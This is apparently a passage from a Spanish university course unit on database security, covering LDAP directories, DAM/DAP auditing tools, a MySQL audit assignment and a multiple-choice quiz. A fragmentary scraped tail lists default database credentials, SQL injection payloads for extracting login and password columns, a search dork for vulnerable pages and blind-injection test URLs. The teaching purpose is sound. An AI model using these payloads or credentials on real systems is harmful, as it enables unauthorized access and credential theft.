ejemplo, tamaño y rango) de objetos y atributos específicos. Las bases de datos de
directorio LDAPv3 contienen su esquema de directorio como atributos LDAP que se
pueden consultar.
La necesidad de proteger el esquema de directorio es evidente. Un esquema del

directorio comprometido podría literalmente conducir a la pérdida de integridad de los
datos del directorio. Las eliminaciones de objetos y atributos definidos en el esquema
pueden provocar que las consultas de las entradas de directorio fallen. Si las consultas
de autenticación o autorización fallan, las decisiones de control de acceso en los
sistemas que usan esos datos podrían denegar el acceso autorizado o permitir el acceso
no autorizado. Cuestiones de seguridad a aplicar al esquema:
» Debido a que el esquema del directorio está compuesto de entradas en la base de

datos de directorios, los mecanismos de control de acceso a entradas de base de
datos deben configurarse correctamente. En general, utilizar el control de acceso
especificado en niveles superiores donde se define el esquema con herencia a los
niveles inferiores es el enfoque apropiado.

» Los cambios no planificados y no coordinados en el esquema del directorio pueden

afectar la disponibilidad del servidor y la integridad de los datos. Un proceso
documentado de gestión de configuración aborda estas cuestiones. Aunque no es
explícitamente un problema de seguridad, el uso de un esquema estándar (o un
esquema con elementos básicos comunes) por todas las organizaciones que puedan
necesitar intercambiar información soluciona el problema de interoperabilidad.
Replicación. La replicación de datos de directorio se refiere al proceso en el que se

copian los datos de un servidor de directorio a otro. En general, la replicación tiene
como objetivo mejorar la disponibilidad y el rendimiento del directorio permitiendo a
los clientes acceder a los mismos datos desde más de un servidor de directorio.
También hacer los datos accesibles a un mayor número de clientes de directorio y poder
ofrecer un mejor soporte a los clientes en área geográfica. Puede ser parte de una
estrategia para recuperarse de interrupciones de red o de servidores individuales.
También se puede utilizar en el proceso de restauración de un servidor de directorio

fallido. Son posibles varias configuraciones de replicación:
» La replicación multimaestro se refiere a una configuración en la que varios

servidores pueden aceptar actualizaciones a copias de los mismos datos. Los
servidores que participan en la replicación multimaestro intercambian de datos
entre sí y un proceso de resolución de conflictos aborda las mismas entradas de
directorio.
» En la replicación de un solo maestro, un servidor mantiene una copia de
lectura-escritura del directorio y los cambios se propagan a uno o más servidores
que contienen copias de solo lectura.
» La replicación fraccional se refiere a la replicación en la que se excluyen algunas
entradas de directorio. Esto es útil por razones de rendimiento o seguridad en las
que no se desean todos los datos cada servidor.
» Las implementaciones podrían utilizar una combinación de replicación de varios
maestros y un solo maestro para un único directorio. Un ejemplo de esto se ve en AD
donde los datos del esquema se replican utilizando una configuración de un solo
maestro y los datos de la cuenta se replican mediante replicación multimaestro.

Cuestiones de seguridad a aplicar al uso de la replicación:
» Los servidores que participan en la replicación tienen que realizar autenticación

mutua. Es decir, cada uno servidor debe identificar y autenticar al otro. Esto asegura
que los datos sean autorizados a un objetivo autorizado.
» Apoyo para asegurar la confidencialidad de los datos de replicación en
tránsito en red de servidores. Este soporte puede darse desde el servidor de
directorio o por servicios de red subyacentes mediante cifrado de los datos
formalmente validado. Los datos en tránsito deben estar protegidos cuando
contienen datos de contraseñas que pueden ser reutilizadas si se obtienen. Además,
si un agregado de datos de directorio no cifrados se intercepta, ese agregado podría
constituir datos confidenciales.
» Asegurar la integridad de los datos de replicación en tránsito a través de una
red de servidores. Este soporte puede ser desde el servidor de directorio o servicios
de red. Es necesario implementar la firma digital de datos.
» Los parámetros del programa de replicación son importantes para mantener los
datos actualizados. En entornos en los que múltiples servidores de directorio
proporcionan datos utilizados en la identificación, autenticación o decisiones de
autorización, la replicación es fundamental para una política de acceso actualizada.
Cuando los programas de replicación no aseguran que los datos actualizados estén
disponibles, el acceso podría ser incorrectamente permitido o denegado.
» Algunas implementaciones permiten que el control de acceso de algunas entradas se
base en atributos de otras entradas. Si se utiliza la replicación fraccionada, los datos
necesarios para las decisiones de control de acceso podrían faltar en la copia
replicada. Diseñar adecuadamente la replicación fraccionada.
Herramientas y cuentas de administración. Dada la práctica habitual de realizar

tareas administrativas desde las estaciones de trabajo servidor, la seguridad de las
herramientas de administración y de las cuentas es fundamental. Esto refleja el hecho
de que los datos de autenticación administrativa, así como los datos de directorio
potencialmente sensibles fluyen sobre una o más redes.

Cuestiones de seguridad a aplicar al uso de herramientas administrativas:
» La confidencialidad de cualquier transmisión de datos de autenticación de

administrador en texto sin formato tiene que ser protegida.
» La confidencialidad de cualquier transmisión de datos de autenticación en forma de
texto plano debe ser protegida.
» Si alguno de los datos del directorio se designa como clasificado o si los datos
pueden ser sistemas que procesan datos clasificados, la confidencialidad de esos
datos debe ser protegidas en las transmisiones en todas las redes.
» Si alguno de los datos del directorio es designado como sensible o si los datos
pueden ser utilizados para acceder a sistemas que procesan datos confidenciales, la
confidencialidad de esos datos debe ser protegida en transmisiones a través de redes
inalámbricas o redes de otras organizaciones.
» Cuando las tareas administrativas se implementan a través de componentes como
servidores web que podrían utilizarse para otras tareas, los componentes asociados a
la administración de las funciones deben estar dedicadas a esas tareas. Esto reduce
el riesgo de que un compromiso relacionado con el uso no privilegiado también
podría afectar las tareas administrativas. Muchos clientes LDAP comerciales y de
código abierto admiten el uso de TLS para proporcionar cifrado como medio para
abordar la seguridad de transmisión de datos. Al igual que con las tareas
administrativas para otras aplicaciones de servidor, hay precauciones debido a las
cuentas que se utilizan para la administración de directorios. Se aplican las
siguientes consideraciones:
o Las contraseñas utilizadas con cuentas administrativas deben cumplir al menos

los estándares para todas las contraseñas, pero debe estar sujeto a políticas de
contraseñas más restrictivas (especialmente mayor longitud). También puede
haber circunstancias relativas al nivel de amenaza que requieren políticas más
restrictivas sobre una base provisional. Usar certificados digitales para
autenticación.
o Cuentas con privilegios específicos deben utilizarse para realizar tareas
administrativas. Como ejemplo, si una cuenta puede ser especificada para su uso
para replicación, esa cuenta debe utilizarse exclusivamente para replicación.
o El número de cuentas con privilegios administrativos tiene que ser limitado.
o La documentación debe detallar las cuentas que se utilizarán para tareas
administrativas. Periódicamente hay que cotejar la documentación con las
definiciones del sistema para validación.

o Cuando sea posible los nombres de cuentas estándar de cuentas de proveedores

debe ser reemplazado.
Puertos de red y protocolos Si bien los puertos y protocolos de red no son

elementos reales de un servicio de directorio deben ser habilitados en el host
subyacente y la infraestructura de red para que funcione un servicio de directorio. Los
servidores de directorio son tanto proveedores de servicios de red como consumidores.
Siempre actúan escuchando las conexiones de los clientes y proporcionando respuestas.
Pueden actuar como consumidores cuando participan en la replicación y ponerse en

contacto con otros servidores para propagar actualizaciones. Puertos y protocolos
estándar de la red de servicios de directorio:
» Puerto 389 es el puerto estándar designado por Internet assigned numbers

authority (IANA) para la comunicación LDAP.
» El puerto 636 es el puerto estándar designado por la IANA para lightweight
directory access Protocolo sobre SSL (LDAPS). Las implementaciones de
proveedores normalmente permiten que los puertos que no sean los estándares
IANA se configuren en LDAP o LDAPS. Se utiliza para permitir que varios servidores
de directorio estén activos en un único host o para evitar las restricciones del sistema
operativo en el uso no privilegiado de puertos bien conocidos de IANA (0-1023).
Hay otros puertos (algunos únicos) asociados con el servidor de directorio.
Normalmente estos otros puertos están relacionados con herramientas administrativas,

servicios de seguridad como Kerberos). Cuestiones de seguridad a aplicar a
puertos de red y protocolos:
El tráfico a través del puerto 389 puede estar encriptado o no. Depende del
vendedor. Implementaciones actuales de AD, configuradas de forma segura,
cifran el tráfico administrativo en el puerto 389. Cuando el cifrado no está
habilitado los datos de autenticación de texto sin formato o cualquier otro dato
confidencial podrían ser interceptados en tránsito.
La operación Start TLS puede ser utilizada por implementaciones usando el

puerto 389 para proporcionar cifrado selectivo de datos de sesión.

El tráfico a través del puerto 636 utiliza el protocolo TLS. Correctamente

configurado proporciona confidencialidad e integridad de la sesión. Para dar
soporte a entornos de servicios de directorio en los que se transmite tráfico
LDAP a través de Internet u otras organizaciones se debe hacer uso de cifrado
VPN. La tecnología es la única solución aceptable conocida.
Herramientas y tecnología de sincronización de directorios. Windows incluye

dos herramientas que admiten la importación y exportación masiva de datos de AD:
» El software de intercambio de datos (CSVDE) de valores separados por comas

proporciona la exportación de datos AD en formato de valores separados por comas.
CSVDE contacta con la AD controlador de dominio en el puerto 389 o un servidor de
catálogo global en el puerto 3268.
» LDIF (data interchange format) proporciona importación, exportación y

modificación de datos de AD que utilizan archivos LDIF. LDIF es un formato de
archivo estándar para los datos del servicio de directorio. LDIFDE se comunica con
un controlador de dominio en puerto 389 o un servidor de catálogo global en el
puerto 3268. Si un controlador de dominio está configurado para admitir SSL,
LDIFDE puede utilizar los puertos 636 o 3269 y utilizar cifrado basado en TLS.
Las versiones de LDIFDE también incluyen una opción («-h») que invoca LDIFDE
cifrado basado en SASL. Los principales problemas de seguridad de CSVDE y
LDIFDE son la protección de los archivos de datos. En tránsito o en un sistema de
archivos, los datos podrían contener información sensible. A menos que se
especifique explícitamente un mecanismo de cifrado, los datos serían vulnerables a
la divulgación si se interceptaban en tránsito.

Sin tener en cuenta el producto o la tecnología específicos utilizados, las siguientes

cuestiones generales de seguridad deben considerarse para las
herramientas y la tecnología de sincronización de directorios:
» Los archivos de datos que contienen agregaciones sustanciales de datos de directorio

pueden volverse sensibles. El examen de un agregado suficiente podría informar.
» En el intercambio de datos de «objetos de contacto» como el utilizado en la lista de
direcciones global (GAL) la sincronización no suele representar problema ya que
los datos no se usan en las operaciones de identificación, autenticación o
autorización.
» Permitir el acceso anónimo a los datos del directorio solo puede ser considerado
aceptable si la confidencialidad del sistema asociado es pública.
» Autenticación mutua, que es la autenticación del cliente por el servidor y el
servidor por el cliente es necesaria para disuadir a un ataque de suplantación. Los
datos de directorio no válidos podrían resultar en la divulgación de datos sensibles si
esos datos de directorio se usan en decisiones de control de acceso.
» El uso de restricciones de consulta y actualización como cuotas pueden ayudar a
disuadir los ataques denegación de servicio.
» Las vulnerabilidades de determinados servicios de red deben tenerse en
cuenta cuando considerando el acceso a los servicios de directorio en una red que
abarca los límites del enclave.
Limitar el acceso de escritura al directorio a través de permisos de acceso o cuotas

puede ayudar a evitar la sobrescritura inadvertida o errónea de los datos del directorio
o inundación del directorio de destino.

2.5. DAP: protección y auditoría de bases de datos
DAM (database activity monitoring)
DAM es una tecnología de seguridad para el seguimiento y análisis de la actividad en

base de datos que funciona independientemente del sistema de gestión de bases de
datos. No se basa en ningún tipo de auditoría nativa o registros de seguimiento (logs de
auditoría) o de transacción. Se realiza con herramientas que permiten supervisar,
capturar eventos y registros de base de datos en forma continua y en tiempo real, y
proporcionar alertas sobre violaciones de políticas de seguridad establecidas. De
acuerdo a Ryan O'Hare, un sistema DAM incluye los siguientes criterios:
# Criterio Descripción
Los sistemas DAM capturan y almacenan la actividad de los perfiles
1 Control de
comportamientos de la base de datos y pueden notificar cuando los patrones de
comportamiento han cambiado. La detección de estos patrones
puede indicar un empleado descontento o una cuenta secuestrada.
DAM recoge las transacciones y genera informes que demuestran el
2 Vigilancia del
cumplimiento cumplimiento o falta de este. Ya sea reglamentaria o contractual, el
cumplimiento es el mayor impulsor para la adopción de un DAM.
Una forma DAM evita ataques mediante el control de la actividad de
3 Ciber protección
contra ataques las aplicaciones, la generación de una base del comportamiento
normal y mediante la identificación de un ataque basado en una
divergencia de las estructuras y secuencias SQL normales.
Tabla 1. Criterios imprescindibles de un DAM según Ryan O´Hare

DAP (data Audit and protection)
Las suites DAP han incorporado los criterios establecidos en la tecnología DAM. Estas
suites han evolucionado de herramientas DAM que ofrecían análisis de la actividad del
usuario en las SGBD y alrededor de ellas, para abarcar un conjunto más integral de
capacidades DAM - desde 2012 por Gartner, DAP por definición, abarca ahora DAM y
DAP juntos. DAP se refiere a las suites de herramientas que se utilizan para apoyar la
identificación y reportar comportamiento inapropiado, ilegal o de otra forma
indeseable en los DBMS con mínimo impacto en las operaciones y la productividad del
usuario incorporando las siguientes capacidades:
Capacidades esenciales de DAP
1 Recolección de Las herramientas DAP recolectan, engloban, regularizan y analizan

eventos, análisis e información de un número de bases de datos y fuentes de
informe. aplicaciones diversas, y proveen un mecanismo de respuesta y flujo
de trabajo.
2 Gestión y auditoría La gestión centralizada provee la capacidad de estandarizar las

de la política de normas, la configuración y la notificación a través de todas las
seguridad de la plataformas compatibles.
base de datos.
3 Monitorización de Consiste en revisar la actividad del administrador sobre una base

usuario periódica. También se monitorea y alerta en tiempo real para
privilegiado. captar actividad administrativa inapropiada, ya sea deliberada o
accidental.
Capacidades secundarias de DAP
4 Prevención y Capacidad para proveer bloqueo en tiempo real de actividad

bloqueo de inapropiada o maliciosa. Algunos ejemplos incluyen prevenir que
acceso/ataques. un DBA lea los contenidos de una tabla con números de tarjetas de
crédito en ella, prevenir ataques de inyección SQL o
desbordamientos del búfer.
5 Descubrimiento y El DAP circula a través de la infraestructura de la empresa con el

clasificación. objeto de descubrir bases de datos y clasificar sus datos. Lo
anterior puede ser una ayuda significativa para los esfuerzos en
programas de seguridad de datos.
6 Vulnerabilidad y Muchas suites de DAP tienen capacidades de escaneo más

gestión de la profundas que las herramientas de gestión de la vulnerabilidad en
configuración red incluyendo el escaneo de parches faltantes y otras malas
configuraciones, así como la capacidad de comparar la
configuración actual con una línea de base recomendada por los
fabricantes.

Capacidades secundarias de DAP
7 Auditoría y Las herramientas DAP siguen añadiendo capacidades para

monitorización de mantener el contexto y mapear de vuelta comandos SQL a
usuarios y solicitudes de usuarios individuales.
aplicaciones.
8 Evaluación de Los DAP pueden extraer e informar sobre los permisos de usuario
usuarios y que mantienen las bases de datos sobres sus propias reservas de
permisos. identidad y normas.
Tabla 2. Capacidades de DAP según Jeffrey Wheatman
» Comparativa de proveedores DAP: Garther Inc., en su informe titulado Market

guide for data-centric audit and protection del 21 de noviembre de 2014, reseña que
las organizaciones que no han desarrollado políticas de seguridad centradas en datos
tienen que actuar rápidamente. Así mismo se compara los potenciales proveedores
de tecnologías de auditoria y protección de sistemas de gestión de bases de datos,
para efectos se comparte el anexo C: proveedores potenciales de tecnologías de
auditoria y protección de la seguridad de SGBD.

Cabe resaltar del anterior estudio que la firma Garther Inc. propone el concepto de
«auditoria y protección centralizada de datos» – DCAP (del término en inglés data-
centric audit and protection) y consigna la siguiente relación de tecnologías [13]:
Big Data
Cloud
Ci pherCloud
Cl oudLoc k
Imper va
(sk y f ence)
N etsk ope Varonis
IBM
Per specsys
Sk y high N etworks Or ac le
Tr ustware
Im perva
For tinet Del l Quest

Gr eenSQL Identi ty Finder
Mc A f ee STEA L Thb i ts
Menti s Sy mantec
W ar eValley
Database Files
Figura 22. Representación esquemática del mercado DCAP mostrando a través de silos de datos
Adicionalmente se comparte la investigación realizada por la firma The forrester wave

titulada Database auditing and real-time protection, Q2 2011 del 6 de mayo de 2011,
informe que pondera a IBM como proveedor líder del mercado de DAP.

Risky
Bets Contenders Strong Leaders
Performers
Strong
IBM
Im perva
Sentrigo
Application security
Current Oracle
offering
Fortinet
Market presence
Weak
Weak Strategy Strong
Figura 23. Ranking de proveedores DAP
» Tecnologías DAP en el mercado de soluciones: en virtud del estudio de MOSAIC

SECURITY denominado DAM vendors, products, and intrusty trends del 13 de
junio de 2012, las principales soluciones DAP que se ofrecen en el mercado
corresponden a:
De acuerdo a Brian Lowans y Earl Perkins se consignan los principales proveedores

tecnológicos de soluciones DAM/DAP.

Alternativas para la monitorización de la seguridad de SGBD
En el estudio titulado «La monitorización de las bases de datos está evolucionando

hacia la auditoría y la protección de bases de datos» del 22 de febrero de 2012, Jeffrey
Wheatman expone las alternativas tecnológicas para DAP:
# Tecnología Descripción
1 SIEM Del inglés security information and event management, pueden

ser usadas para la monitorización de las bases de datos. SIEM
provee una monitorización más amplia y, en algunos casos, soporte
para los SGBD.
2 DLP Del anglicismo data loss prevention pueden proveer visibilidad al

acceso de datos y pueden ser usadas como una alternativa a DAP
en casos de uso centrados en los datos. Sin embargo, estas
herramientas no tienen conocimiento integrado de cómo operan
los SGBD y carecen de visibilidad de actividades administrativas
como la gestión de modificaciones de esquema y cuentas.
3 Auditoría del Las empresas con limitaciones financieras pueden hacer uso de
DBMS auditoría y registro de SGBD internos utilizando herramientas o
secuencias de comandos de producción local. Sin embargo, este
enfoque está limitado por los altos gastos de auditoría interna y
recursos de cómputo.
4 Database Proveen un conjunto pruebas para SGBD y frecuentemente son

vulnerability suficientes para las auditorías.
scanners
5 Cifrado, Protegen los datos de accesos inapropiados, pero son insuficientes

tokenización y para identificar accesos inapropiados (por ejemplo, almacenar
ocultamiento. gran cantidad de datos rápidamente) por parte usuarios legítimos.
6 IAM Del inglés Identity and Access Management, son herramientas de

administración de identidad y acceso que tienen un conjunto
limitado de funciones para monitorizar y analizar datos, pero
carecen de la granularidad y visibilidad en ambientes
estructurados de datos.
Tabla 3. Alternativas para la monitorización de la seguridad según Jeffrey Wheatman
Tokenización: proceso de sustitución de un elemento de datos sensibles con un

equivalente no sensible que se refiere a una muestra que no tiene significado o valor
explotable.

Como se ha reseñado anteriormente, existen varias tecnologías diferentes a DAP para

ayudar a las empresas a monitorización de la seguridad de los sistemas de gestión de
base de datos. De acuerdo a Jeffrey Wheatman en su estudio titulado Ten database
activities enterprises need to monitor del 28 de abril de 2010 (Wheatman, 2010), la
clave para la selección de la herramienta adecuada se ilustra a continuación:
Figura 24. Criterios de selección para una herramienta de monitorización de seguridad de los datos
2.6. Referencias bibliográficas
Alonso, J. M., Guzmán, A., Laguna, P. y Martín. A. Ataques a BB. DD., SQL injection.
Barcelona UOC. Recuperado el 6 de febrero de 2017 en:
https://www.exabyteinformatica.com/uoc/Informatica/Seguridad_en_bases_de_dato
s/Seguridad_en_bases_de_datos_(Modulo_3).pdf
Ataque unión SQL injection. Recuperado el 6 de febrero de 2017 en:

http://www.antrax-labs.org/2012/01/sql-injection-desde-cero.html
Chess, B. and West, J. (2007). Secure programming with static analysis Addison
Wesley software security series. Madrid: McGraw.

Krikken, R. (2012). DAM Grows up, welcome DAP! Recuperado el 2 de junio de 2016
en: http://blogs.gartner.com/ramon-krikken/2012/03/02/dam-grows-up-welcome-
dap/
Lowans, B. y Perkins, E. (2014). Market guide for data centric Audit and protection.
Recuperado el 07 de junio de 2016 en:
https://www.dbmasters.at/i/Projects/dbmasters/bilder/vortraege/20150316_market_
guide_for_datacentric.pdf
McGraw, G. (2006) Software security building security in. Boston: Addison Wesley.
Network intelligence (2014). Database activity monitoring. Recuperado el 2 de junio

de 2016 en: https://www.niiconsulting.com/solutions/database-activity-
monitoring.html
O´hare, R. (2015). A DAM/DAP primer. Recuperado el 2 de junio de 2016 en:

https://www.iri.com/blog/data-protection/introduction-damdap/
Samaras, L. (2012). DAM vendors, products and intrusty trends. Recuperado el 8 de

junio de 2016 en: http://mosaicsecurityresearch.com/2012/01/13/dam-vendors-
products-and-intrusty-trends/
Software de desarrollo seguro. OWASP ESAPI. Recuperado el 6 de febrero de 2017 en:

https://code.google.com/p/owasp-esapi-java/
Vulnerabilidades en bases de datos Team Shetter. Recuperado el 6 de febrero de 2017

en: http://www.darkreading.com/vulnerabilities---threats/the-10-most-common-
database-vulnerabilities/d/d-id/1134676
Vulnerabilidades en bases de datos (Imperva)=. Recuperado el 6 de febrero de 2017 en:

https://www.imperva.com/docs/gated/WP_Top_5_Database_Security_Threats.pdf
Web shells acunetix. Recuperado el 6 de febrero de 2017 en:

http://www.acunetix.com/blog/articles/introduction-web-shells-part-1/

Wheatman, J. (2012). El monitoreo de la actividad en bases de datos está

evolucionando hacia la auditoría y la protección de bases de datos. Recuperado el 1 de
mayo de 2016 en:
ftp://public.dhe.ibm.com/software/pdf/mx/2_El_monitoreo_de_la_actividad_en_ba
ses_de_datos_esta_evolucionando_hacia_la_auditoria_y_la_proteccion_de_bases_d
e_datos.pdf
Wheatman, J. (2010). Ten database activities enterprises need to monitor. Recuperado

el 7 de junio de 2016 en: http://resources.idgenterprise.com/original/AST-
0006755_ibm_tendatabaseactivities.pdf
Yuhanna, N. (2011). The forrester wave: database auditing and real time protection,
Q2 2011. Recuperado el 7 de junio de 2016 en:
http://www.powermag.com/Assets/the_forrester_wave.pdf

Material complementario
No dejes de leer…
Implementing database security and auditing
Natan, R. B. (2005). Implementing database security and auditing. Boston: Elsevier

Digital Press.
Son especialmente interesantes los siguientes capítulos:
» Capítulo 1: getting started.

» Capítulo 2: auditing categories.
» Capítulo 3: auditing architectures.
Accede al artículo desde el aula virtual o a través de la siguiente dirección web:

https://eketab2.files.wordpress.com/2007/09/implementingdatabasesecurityandaudit
ing.pdf
Database security guideline
Guía genérica de seguridad de bases de datos aplicable de forma básica a cualquier

SGBD.

http://www.db-security.org/report/dbsc_guideline_ver2.0_e.pdf
TEMA 2 – Material complementario © Universidad Internacional de La Rioja (UNIR)

No dejes de ver…
Top 10 database threats
Es un repositorio de vídeos sobre aspectos de seguridad relacionados con los sistemas

de gestión de bases de datos. Se puede consultar un vídeo sobre las 10 amenazas más
comunes que pueden sufrir entre otros.
Accede al vídeo desde el aula virtual o a través de la siguiente dirección web:

https://www.imperva.com/resources/videos
A fondo
Seguridad en SGBD,s
Guías de seguridad de sistemas en general.

https://www.imperva.com/resources/videos

Seguridad en SGBD,s
Guía genérica de seguridad de los sistemas gestores de bases de datos Oracle.

http://www.darknet.org.uk/2015/01/oat-oracle-auditing-tools-database-security/
Guía
Guías de seguridad para SQL SERVER 2012.

http://www.hexatier.com/10-must-do-microsoft-sql-server-2012-security-tasks-
technical-article/

Enlaces relacionados
SANS Institute
Página del SANS Institute, fuente de información para el entrenamiento en seguridad,

certificación e investigación.
Accede a la página desde el aula virtual o a través de la siguiente dirección web:

http://www.sans.org/
Database security
Página web dedicada a soluciones de seguridad para bases de datos.

http://www.hexatier.com/

Imperva
Página web de Imperva, compañía líder en soluciones de seguridad para SGBD,s

ofreciendo productos de distinta naturaleza.

https://www.imperva.com/products/databasesecurity

Actividades
Trabajo: Auditar y asegurar un SGBD MYSQL
Objetivos
Explotar vulnerabilidades que afectan a bases de datos, auditar su seguridad e

implementar una guía de seguridad de un SGBD MYSQL.
Tendrás que auditar e implementar una guía de seguridad en MYSQL.
Instalación
Descarga la aplicación WAVSEP desde:

https://sourceforge.net/projects/wavsep/files/WAVSEP-v1.5/wavsep.war/download
Sigue las instrucciones de instalación de WAVSEV:

https://github.com/sectooladdict/wavsep/wiki/WAVSEP-Installation-and-
Deployment y arranca el servidor de aplicaciones Apache tomcat ejecutando el startup-
bat en el directorio /bin.
Analiza la seguridad del SBD MYSQL de la aplicación WAVSEP con una herramienta de
análisis de seguridad.
Descarga e instala el scanner de base de datos Scuba desde:

https://www.imperva.com/resources/freeevaluationtools y sigue las instrucciones del
archivo en formato pdf que viene con la herramienta. Analiza la seguridad de SGBD
MYSQL de WAVSEP con Scuba.
Criterios de evaluación
Corrección en la ejecución de cada parte y explicación clara y concisa de lo realizado en

la memoria aportando imágenes que demuestren la implementación o comprobaciones
realizadas.
TEMA 2 – Actividades © Universidad Internacional de La Rioja (UNIR)

Entrega
Confecciona una memoria de máximo 6 páginas con fuente Georgia 11 e interlineado

1,5 resumiendo el resultado del análisis de seguridad efectuado. Adjunta un fichero con
el resultado del análisis y un informe de vulnerabilidades de Scuba.
TEMA 2 – Actividades © Universidad Internacional de La Rioja (UNIR)

Test
1. SQL injection señala la afirmación correcta:

A. Pueden ser debidas a campos de entrada sin validar en las aplicaciones web.
B. No se pueden solucionar.
C. Un exploit SQL injection no puede estar almacenado en una base de datos.
D. Ninguna de las anteriores.
2. Sobre las amenazas a que están expuestos los SGBD,s señala la opción incorrecta:
A. Es importante deshabilitar opciones innecesarias.
B. Los ataques de denegación de servicio pueden ser muy perjudiciales.
C. Los ataques SQL injection son frecuentes.
D. Todas las anteriores son falsas.
3. Señala los elementos o funciones de seguridad de los SGBD,s:

A. Autorización, no repudio, propiedades de seguridad, integridad.
B. Autorización, confidencialidad, autenticación, integridad, auditoría, clustering
backup y recuperación.
C. Autorización, no repudio, propiedades de seguridad, autenticación.
D. Ninguna de las anteriores.
4. ¿Qué opción de instalación de un SGBD base de datos proporciona una alta

disponibilidad de los datos proporcionando acceso instantáneo a bases de datos
duplicadas en caso de fallo en el acceso a una base de datos principal?
A. IPSEC.
B. Bases de datos distribuidas.
C. Clustering.
TEMA 2 – Test © Universidad Internacional de La Rioja (UNIR)

5. Señala la afirmación falsa:

A. Cuando una aplicación utiliza privilegios elevados para acceder a una base de
datos, la totalidad de la base de datos está en riesgo.
B. Las cuentas de usuario de instalación y mantenimiento de un SGBD no tienen
por qué ser dedicadas para tal uso y pueden usarse para otras tareas sin que por
ello puedan ocurrir más problemas de seguridad.
C. Si en una aplicación no existe validación de entrada, la base de datos puede ser
comprometida.
D. La A y la C son correctas.
6. Señala la afirmación falsa respecto backups y recuperación:

A. Los procedimientos de backup y recuperación son necesarios para asegurar la
integridad y disponibilidad.
B. Los datos de la copia de seguridad contendrán todos los datos sensibles
almacenados en la base de datos.
C. Las bases de datos han de observar estricta atención al tiempo de ejecución de
eventos para preservar la integridad.
7. Señala la afirmación falsa respecto a la función de auditoría:

A. Las conexiones a las bases de datos son lo primero a auditar.
B. La auditoría de seguridad debe realizarse una vez a la semana.
C. Herramientas automáticas pueden ayudar en la tarea de examinar los datos de
auditoría.
D. Es necesario auditar los accesos privilegiados incluyendo las actividades de
administración.

8. Autenticación en bases de datos, señala la opción falsa:

A. Cuenta la aplicación: una cuenta de aplicación es una cuenta de usuario
especializado y es accedida por otros usuarios interactivos. Es utilizada por una
aplicación, servicio o trabajo BACH.
B. Operator database: a este tipo de usuario de base de datos se le pueden
asignar privilegios administrativos limitados para funciones como copia de
seguridad y puesta en marcha de bases de datos.
C. La autenticación de base de datos se puede producir mediante una relación de
confianza definida entre el SGBD y un servicio de autenticación externo.
D. El DBA tiene todos los privilegios a todos los objetos y recursos en la base de
datos y puede administrar todos los usuarios en la base de datos.
9. Autorización en bases de datos. Señala la afirmación falsa:

A. El usuario DBA tiene de forma predeterminada en la mayoría de las
instalaciones todos los privilegios a todos los objetos almacenados en la base de
datos, para configurar y utilizar la base de datos y para crear y administrar
cuentas de usuario.
B. El privilegio del propietario de un objeto para definir el acceso a los objetos de
su propiedad se conoce como control de acceso discrecional (DAC) y es el método
de control de acceso más común en los SGBD más populares.
C. Las implementaciones de control de acceso menos seguras restringen a los
usuarios a ejecutar solamente accesos con privilegios a procedimientos
almacenados donde los privilegios asignados permiten acceder a los datos de una
manera específica y limitada.
D. Las cuentas de usuario de aplicación de base de datos requieren mínimos
privilegios de todos los tipos de cuentas de base de datos para trabajar con una
base de datos.

10. Respecto a la replicación en bases de datos y sobre consideraciones adicionales

para la configuración de la seguridad en el uso de enlaces de base de datos, señala la
opción falsa:
A. Por lo general es mejor utilizar una sola cuenta de replicación entre todas las
bases de datos participantes.
B. Sin embargo, cuentas de replicación distintas deben utilizarse cuando los
requisitos de replicación no se superponen.
C. Todas las demás son falsas.
D. Cuando una base de datos replica datos a una base de datos y otros datos
distintos a otra base de datos, dos cuentas distintas pueden ser más seguro. En tal
caso, cuentas distintas proporcionarían una separación de la responsabilidad y su
auditoría es mejor.

Tema 2

Cargado por

Información del documento

Título original

Derechos de autor

Formatos disponibles

Compartir este documento

Compartir o incrustar documentos

Opciones para compartir

¿Le pareció útil este documento?

¿Este contenido es inapropiado?

Copyright:

Formatos disponibles

Tema 2

Cargado por

Copyright:

Formatos disponibles

Seguridad en bases de datos

[2.1] ¿Cómo estudiar este tema?

[2.2] Vulnerabilidades y amenazas en bases de datos

[2.3] Seguridad en sistemas gestores de bases de datos

[2.4] Seguridad en directorios LDAP

[2.5] DAP: protección y auditoría de bases de datos

[2.6] Referencias bibliográficas

Repositorios seguridad en Am enazas y

Seguridad en Seguridad en servicios Soluciones de auditoría y

© Universidad Internacional de La Rioja (UNIR)

2.1. ¿Cómo estudiar este tema?

Guía SP800-34-revi del NIST (páginas 5 a 10), disponible en la siguiente dirección:

2.2. Vulnerabilidades y amenazas en bases de datos

DB5: broken DB6 : buffer DB7 : privilege DB8: DoS

DB9 : unpatched DB1 0: unencryptec

Figura 1. Vulnerabilidades en bases de datos

TEMA 2 – Ideas clave © Universidad Internacional de La Rioja (UNIR)

» Contraseñas débiles y por defecto.

» Privilegios excesivos, inapropiados y no utilizados.

TEMA 2 – Ideas clave © Universidad Internacional de La Rioja (UNIR)

Además, en algunas aplicaciones, las credenciales de la base de datos (nombre de

Contraseñas débiles y por defecto

User: sy stem / password: manager

User: db2admin / password: db2admin

User: SA / password: null

Figura 2. Password por defecto en bases de datos

Los ataques de inyección SQL pueden permitir a un usuario modificar

TEMA 2 – Ideas clave © Universidad Internacional de La Rioja (UNIR)

Denegación de servicio: la modificación de comandos SQL puede llevar a la

En sentencias SQL, donde se combinan palabras clave con datos se puede

Figura 3. Ejemplo de ataque SQLI

Un atacante explota este tipo de vulnerabilidades especificando meta-caracteres que

TEMA 2 – Ideas clave © Universidad Internacional de La Rioja (UNIR)

El programador que escribió el código pretendía formar consultas como:

SELECT * FROM ítems WHERE owner = <userName> AND itemname =

La adición de OR 'a'='a' convierte la sentencia pretendida a esta: SELECT * FROM

La forma de ayudar a prevenir este tipo de ataques es utilizar consultas parametrizadas

Figura 5. Ejemplo de consulta SQL construida con el uso de sentencias parametrizadas

TEMA 2 – Ideas clave © Universidad Internacional de La Rioja (UNIR)

Se puede probar en los campos de entrada con metacaracteres y la sentencia UNION

En Google se puede poner lo siguiente: inurl: noticia.php?id=

Aparece el nombre de tabla «character_sets».

Lo que se debe hacer ahora es agregar después de information_schema.tables lo

TEMA 2 – Ideas clave © Universidad Internacional de La Rioja (UNIR)

Se obtiene la composición de las columnas de la tabla:

idAdmin, login, activo, password, nombre

group_concat(column_name) por concat(Login,0x3a, Password)

Se borra desde information_schema.columns en adelante y se deja +from+

TEMA 2 – Ideas clave © Universidad Internacional de La Rioja (UNIR)

Algunas de las funciones MYSQL más interesantes son:

» version(): muestra la versión de la base de datos.

Injección SQL a ciegas. Un tipo de SQLI es la denominada Injección SQL a

http://example.com/ex.php?id=25 AND 1=1

http://example.com/ex.php?id=25 AND 1=0

